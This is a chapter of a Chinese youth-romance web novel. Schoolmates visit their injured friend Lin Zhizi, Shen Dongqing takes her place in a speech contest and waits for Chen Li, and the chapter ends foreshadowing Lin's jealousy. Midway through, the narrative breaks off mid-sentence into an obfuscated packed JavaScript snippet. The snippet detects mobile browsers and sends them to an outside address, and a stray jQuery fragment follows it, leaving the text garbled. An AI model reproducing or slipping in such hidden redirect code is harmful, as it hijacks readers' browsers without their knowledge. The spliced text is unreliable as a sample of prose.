第三十七章
好不容易等到放学,冬青他们决定去医院看望林枳子。
柯恒也从班主任那知道了她受伤的消息,于是放学后便过来说要和他们一起。
一路上,甜甜都很自责。
胡亮就在旁边拼命安慰她。
“要是我昨天能把她送到家门口就好了。”
“这跟你没关系,没有人能想到会出意外,也没人愿意看到意外,你不要急着往自己身上揽责任。”
胡亮一遍遍说服她林枳子人没事就好,人生那么长,一切都会过去,会好起来的。
沈冬青跟着点头,心想是啊,都会好起来的。
只是她对学校安排自己替枳子参加比赛的事,还是很犹豫。
那是一种很复杂的难以表达的情绪,就好像,是她偷走了别人心心念念栽种下的果实。
无论她主观上是否愿意,但结果就是这样,很难受。
柯恒看出了她有心事,也没问为什么,就只是跟她一起走在队伍后面,低头自言自语般慢慢说着:“沈冬青,你信不信因果?”
“嗯?”沈冬青眉间不自觉轻轻皱起。
柯恒笑了笑,看着她说:“其实很多事情在发生的当时当刻,人们是无法判断它究竟是好是坏的,同样,也无法追问它们为什么会发生,因为当下的问题就是要留给以后的我们来回答的。”
“听上去,有些深奥。”沈冬青很少去想这么复杂的问题,但她知道柯恒是在安慰自己,于是也很礼貌地笑了笑说:“不过还是很谢谢你,我会好好思考这个问题的。”
柯恒明显无所谓她到底会不会想继续弄明白这个问题,只是伸手往前一指,眼神坚定地解释说:“的这些话的意思是既然事情已经发生了,那就顺其自然,放手去做吧。”
“不要有心理负担。”
后来,林枳子在病房里也跟她说了同样的话。
几个人到的时候,林枳子妈妈刚从椅子上起身准备跟一个穿西装的中年男人离开。
“护工阿姨我已经找好了,等会儿你爸就过来。”女人一边跟沈冬青他们打招呼,一边交代枳子说:“妈妈还有事,改天再来看你。”
林枳子说不出话,只是浅浅抿了个笑。
沈冬青在门口不经意观察着,只觉得她脸上那客气又疏离的笑容很眼熟。
她在沈兰跟何宇那个家里,笑起来也是这样的。
只有礼貌,没有哪怕一点的亲近。
林枳子爸爸来了以后,他们才知道其实枳子爸妈已经离婚很久了。
枳子现在是跟爷爷奶奶一起生活。
大家都是第一次知道这件事情,脸上或多或少都流露出了些许震惊。额
枳子现在不能说话,只能用手机在微信上跟他们说:“我没事。”
沈冬青不知道她说的是身体没事,又或者想安慰他们说就算她没有一个完整的家,也没事。
林枳子放下手机朝着他们微笑。
越是笑的用力,沈冬青就越是看得心疼。
那种明明这个世界上还有亲人在,可自己却又总是像只小船一样漂泊在大海上的无助和孤独感,沈冬青想,她能懂。
几个人轮流坐在病床前陪林枳子讲话。
柯恒在甜甜和胡亮后面,等他坐下来以后,整间病房好像一下都变得安静了。
柯恒说:“这段时间耽误下的课你不要担心,好好养伤,后面我借笔记给你。”
柯恒不管跟谁说话,都总是一副很寻常平淡的语气。
但就这些话,对林枳子来说,已经够了。
哪怕他什么都不说,他能来看自己,就足以令她开心很久了。
林枳子用力点点头,她说不出话,但眼睛自始自终都是笑着的。
是和面对其他人时不一样的,少女羞怯又暗自幸福的笑。
沈冬青坐下后想再跟她讲一遍学校要自己替她参加比赛的事,只是人一坐下,沈冬青又不知道该从哪里说起自己此时的内心矛盾了。
要怎么说呢,说自己也很犹豫,说这次机会本来应该是你的,说对不起,说……
还能说什么呢,事实上无论再怎么说,这件事都已板上钉钉,木已成舟了。
沈冬青深深吸了口气,心里纠结着,低头轻轻把手放在了她的身边。
又过了一会儿,林枳子先拍了拍她肩膀示意她看手机。
“比赛的事情我已经知道了,是我告诉郭老师这段时间你在陪我练习的。”
“不要有心理负担。”
“去吧。这是最好的办法了,不要让我们之前的努力全都白费了。”
沈冬青看着屏幕上的消息,想了想最后认真点头向她承诺说:“放心,我会努力的。”
是啊,如果现在放弃,那之前她们一起在操场坚持的一个又一个清晨,又算什么。
这样想着,沈冬青又突然对明天充满了期待。
明天,她会信心百倍地站在演讲台上,带着林枳子的那份一起。
*
“明天?”陈励今天回来的也晚,回家刚停下车子便被早早就等在院子里的沈冬青拦住了问他明天有没有什么安排。
陈励头盔随手挂车把上,人还没从车上下来,只是长腿撑地上身子往前倾了下,侧身歪头问她:“干嘛,你也要请我吃饭?”
昨天赵粤约他的时候沈冬青也在。
她没忘。
沈冬青顿了下,最后也不知道哪儿来勇气干脆顺着他的玩笑问:“那要是我也请,你来吗?”
陈励一愣,额间能看到眉心明显一蹙,接着他又低头笑了笑,心想沈冬青最近真是越来越大胆了。
“有事说事。”陈励很干脆利落地从车上下来,然后把肩上书包往她怀里一丢,大步流星往屋里走着说:“求人办事也没点求人的态度。”
书包的重量让沈冬青短暂忘记了自己刚才那一瞬间紧张悬浮着的心跳。
女生乖乖跟在他身后默默舒了口气。
“我明天有个演讲比赛,下午,在市图书馆。”沈冬青怀里还抱着他的书包,站定了说:“你有时间来吗?”
陈励回头,眼神有一闪而过的骄傲和喜悦。
沈冬青又补充说:“不会太久,不影响你晚上的安排。”
陈励勾唇一笑:“谁跟你说我晚上有安排了。”
没有吗?沈冬青心里又是一紧。
她知道这样的心思很可耻,不应该;但她还是忍不住,暗自开心了起来。
“明天下午两点,市图书馆一楼大厅,我让他们帮你留个位置,你到了找胡亮就行,你认识。”
“嗯。”
陈励答应了。
沈冬青放下书包,嘴角忍着笑快步往楼上跑着说:“那说好了,明天见。”
“明天见。”
“沈冬青。”陈励站楼下又喊她,“明天好好比,别给你哥我丢脸。”
“知道了。”
到房间关上门,沈冬青能感觉到自己一颗心躺下后还在忍不住扑通扑通地狂跳。
明天,很快就来了。
明天,一定会是很好的一天。
沈冬青下来的时候,陈励已经出门了。
餐桌上有他留给她的早饭,和一张压在餐盘下的字条,很随意又大到夸张的两个字:“加油!”
沈冬青看着一阵傻笑,然后小心翼翼将这两个字放到自己笔记本里,好好的,格外珍惜的,收了起来。
十二点半。
柯恒已经在图书馆门口等着她了。
甜甜和胡亮要晚一会儿才到,他们去医院接林枳子了。
虽然不能以选手的名义参加比赛了,但林枳子还是想来现场看看,哪怕只是看上一眼,她也就觉得自己没那么遗憾了。
柯恒说:“郭老师已经在了,我们先进去吧,还是你想再熟悉熟悉稿子,我也可以陪你在外面一起。”
“再等等吧。”沈冬青说着又回头看了眼。
尽管她知道陈励不会这么早就来,但心里还是忍不住会有一丝奢望能在自己回头的瞬间,看到他出现。
只可惜很遗憾,她就这样跟柯恒在图书馆外长椅上坐了很久,然后看着好几个怀里抱着鲜花的家长陆陆续续进去,再然后,胡亮他们推着林枳子也来了,陈励还是没有出现。
演讲比赛快开始了。
沈冬青知道自己没时间再等,也不能再等了。
反正陈励答应了她会来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16402490|180202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那他就一定会来。
沈冬青进后台候场前又跟胡亮交代了一遍:“我哥,陈励,你们见过,他来了你记得喊他在留好的位置坐下啊。”
“放心吧。”胡亮催她离开,说:“你哥那张脸,我不会认错。”
冷得要命,看上去又凶凶的不好惹。
胡亮虽然没说出来,但沈冬青知道他的意思,也只能哭笑不得。
“加油。”
“加油!”
沈冬青就这样跟着柯恒往后台走了。
等她进后台前再回头看的时候,胡亮和甜甜手里已经举起了他们做的手绘横幅。
枳子的名字还在。
沈冬青看得感慨一笑。
是的,这场比赛本来就不应该是她的。
最起码,不应该是她一个人的。
选手签到,抽签,排队候场。
很神奇的,一个班的两个人,柯恒跟沈冬青开场一个,结束一个。
“加油。”沈冬青微笑着看柯恒整理好衣领,同样朝她笑了笑收起演讲稿落落大方迈步走上台。
“大家好,我是实验中学高三一班的柯恒,今天要和大家分享的主题是,青春。”
沈冬青在后台静静听着,柯恒的呼吸节奏还是一如既往,沉着,冷静。
青春,是很多人想象中十七八岁的自己。
青春,是此时此刻的我们。
青春,也是很多人再回头时才会恍然发现的,那些转瞬即逝的日子。
青春这个主题太过宏大,不是一张演讲稿能装得下,也不是一场比赛就能讲完的。
……
台上的人换了又换。
等到沈冬青站上去时,她的目光先是在观众区寻找了许久,等到确认自己找的那个人不在以后,这才难免失落地重新提起精神继续自己的演讲。
我想,很多人的青春画纸上都涂满了美好的颜色,明媚如春天的绿,灿如夏日的橘,秋天里收获的金黄,冬日洁白的雪……
确实,青春本来就该如此。
沈冬青站在台上看着胡亮旁边那个空缺的位置抿了个很深的微笑。
但也有些人的青春,会涂上了黑色,难堪,沉重,像是一滩困住了自己的泥潭。
我们不要害怕,不要绝望,因为总有一天,你也会遇到一些人,一些事,他会教给你如何在泥泞里开出花。那时候,这些黑色就不再恐怖,它将成为托举我们人生向上的结实大地。
沈冬青想,陈励就是她最可靠的退路,是会一次又一次在大雨里稳稳接住她的人。
“最后,我还想谢谢一个人,林枳子。”
回忆散去。
沈冬青望向观众区中间第三排位置,林枳子正被胡亮和甜甜护在中间笑着看她。
沈冬青同样望向她,继续说:“这篇稿子是她的,本来今天要站在这里的人也应该是她,但就像我后面说的那样,我们的人生总会遇到各种各种的黑色,但那也只是故事的背景板,踏过去,这些都会成为生命中精彩的一部分。”
沈冬青讲完了。
台下那么多双眼睛,可她还是能清楚得看到她最好的朋友们,眼睛湿了,眼眶也红了。
这场比赛结束,实验中学拿了两块奖杯。
柯恒第一,沈冬青第二。
就像之前的年级成绩榜单一样,两个又一次笑着并肩站在了一起。
沈冬青下台后把奖杯给了林枳子:“这个还你。”
自始至终,沈冬青都依然觉得这个荣誉应该是林枳子的。
枳子看着奖杯愣了愣,最后摇摇头说:“不是我的。”
“这个就是你的。”
“真的吗?”
沈冬青重重点头。
那时候她还不知道,林枳子说的是与不是,跟她说的是与不是,根本不是一回事。
林枳子说的,是柯恒。
一直到后来两人关系决裂那天,沈冬青问她为什么要这么做,林枳子能明确想起来的原因,也是演讲比赛这天。
林枳子说的是:“开始我也以为我不介意,但当我看到你和柯恒站在一起那么般配刺眼的时候,我才发现,原来内心的嫉妒一旦种下种子,就会疯了一样生长。”